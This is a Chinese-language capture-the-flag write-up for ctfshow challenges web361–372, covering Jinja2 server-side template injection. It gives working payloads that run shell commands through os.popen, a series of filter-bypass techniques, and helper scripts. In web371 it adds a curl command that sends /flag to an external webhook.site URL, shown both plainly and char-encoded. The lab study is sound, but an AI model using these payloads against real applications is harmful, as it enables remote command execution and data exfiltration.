参考文章:
https://xz.aliyun.com/t/3679

使用工具:
https://github.com/vladko312/SSTImap

web361

python的jinjia2模板注入
通常使用name={{5*5}}的形式测试是否存在SSTI

先通过"".class.mro[1]获取到object类
再通过__subclasses__()[132]获取到<class 'os._wrap_close'>
init初始化os类,然后globals全局来查找所有的方法及变量及参数。
调用popen方法来执行命令。

payload

?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[%27popen%27]("env").read()}}

web362

过滤了数字2和3
app.py

from flask import Flask 
from flask import request 
from flask import render_template_string 
import re 

app = Flask(__name__) 

@app.route('/') 
def app_index(): 
	name = request.args.get('name') 

	if name: 
		if re.search(r"2|3",name,re.I): 
			return ':(' template = ''' {%% block body %%} <div class="center-content error"> <h1>Hello</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.args.get('name')) 

	return render_template_string(template) 

if __name__=="__main__": 
	app.run(host='0.0.0.0',port=80)

可以使用数字运算来绕过

?name={{"".__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__[%27popen%27]("env").read()}}

web363

过滤了单双引号,使用GET传参的方式绕过。

?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=env

web364

过滤了单双引号,以及args

使用cookie传参的方式绕过

/?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.cookies.a](request.cookies.b).read()}}
Cookie:a=popen;b=env

web365

又过滤了中括号
使用getitem函数绕过

/?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.cookies.a)(request.cookies.b).read()}}
Cookie:a=popen;b=env

web366

又过滤了下划线
使用attr函数绕过

/?name={{(()|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)()|attr(request.cookies.d)(132)|attr(request.cookies.e)|attr(request.cookies.f)|attr(request.cookies.g)(request.cookies.h)(request.cookies.i)).read()}}

Cookie: a=__class__;b=__base__;c=__subclasses__;d=__getitem__;e=__init__;f=__globals__;g=__getitem__;h=popen;i=env

web367

又过滤了os字符,上题payload依然可以。

web368

又过滤了{{,使用{%来绕过

/?name={%print(()|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)()|attr(request.cookies.d)(132)|attr(request.cookies.e)|attr(request.cookies.f)|attr(request.cookies.g)(request.cookies.h)(request.cookies.i)).read()%} 

Cookie: a=__class__;b=__base__;c=__subclasses__;d=__getitem__;e=__init__;f=__globals__;g=__getitem__;h=popen;i=env

web369

查看引擎相关资料:https://jinja.palletsprojects.com/en/3.1.x/templates/#builtin-filters

又过滤了request字符
需要构造字符

使用select方法构造出_

{% set a=(()|select|string|list).pop(24) %}    // a = _

payload

?name=
{% set a=(()|select|string|list).pop(24) %}
{% set init=(a,a,dict(init=a)|join,a,a)|join()%}
{% set globals=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set getitem=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set builtins=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(init)|attr(globals)|attr(getitem))(builtins)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

使用dict函数,绕过双引号过滤。
从__builtins__中直接获取chr函数和open函数。

web370

过滤了所有数字

将数字转化成全角数字来绕过

py脚本

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
    
while 1:
    t = ''
    s = input("输入想要转换的数字字符串:")
    for i in s:
        t += half2full(i)
    print(t)

payload

?name=
{% set a=(()|select|string|list).pop(24) %}
{% set init=(a,a,dict(init=a)|join,a,a)|join()%}
{% set globals=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set getitem=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set builtins=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(init)|attr(globals)|attr(getitem))(builtins)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

web371

过滤了print,使用curl带外来绕过

curl -X POST -F xx=@/flag https://webhook.site/c56530ad-bbfc-45d1-bb42-510a63cd0b88

chr转换脚本

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
string = input("input: ")
result = ''
def str2chr(s):
    global  result
    for i in s:
        result += "chr("+half2full(str(ord(i)))+")%2b"
str2chr(string)
print(result[:-3])

注意复制这段时不要有空格,这里用vscode输出,复制时将换行识别为空格夹在数字中间,害我调试了半天。

payload

?name=
{% set a=(()|select|string|list).pop(24) %}
{% set init=(a,a,dict(init=a)|join,a,a)|join()%}
{% set globals=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set getitem=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set builtins=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set oas=(dict(o=a,s=a)|join)%}
{% set x=(q|attr(init)|attr(globals)|attr(getitem))(builtins)%}
{% set chr=x.chr%}
{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(119)%2bchr(101)%2bchr(98)%2bchr(104)%2bchr(111)%2bchr(111)%2bchr(107)%2bchr(46)%2bchr(115)%2bchr(105)%2bchr(116)%2bchr(101)%2bchr(47)%2bchr(99)%2bchr(53)%2bchr(54)%2bchr(53)%2bchr(51)%2bchr(48)%2bchr(97)%2bchr(100)%2bchr(45)%2bchr(98)%2bchr(98)%2bchr(102)%2bchr(99)%2bchr(45)%2bchr(52)%2bchr(53)%2bchr(100)%2bchr(49)%2bchr(45)%2bchr(98)%2bchr(98)%2bchr(52)%2bchr(50)%2bchr(45)%2bchr(53)%2bchr(49)%2bchr(48)%2bchr(97)%2bchr(54)%2bchr(51)%2bchr(99)%2bchr(100)%2bchr(48)%2bchr(98)%2bchr(56)%2bchr(56)%}
{% if ((lipsum|attr(globals)).get(oas).popen(cmd))%}
success
{% endif %}

web372

过滤了count,预期解是用lenth代替count,但我们用全角数字绕过,所以上题payload依然可以使用。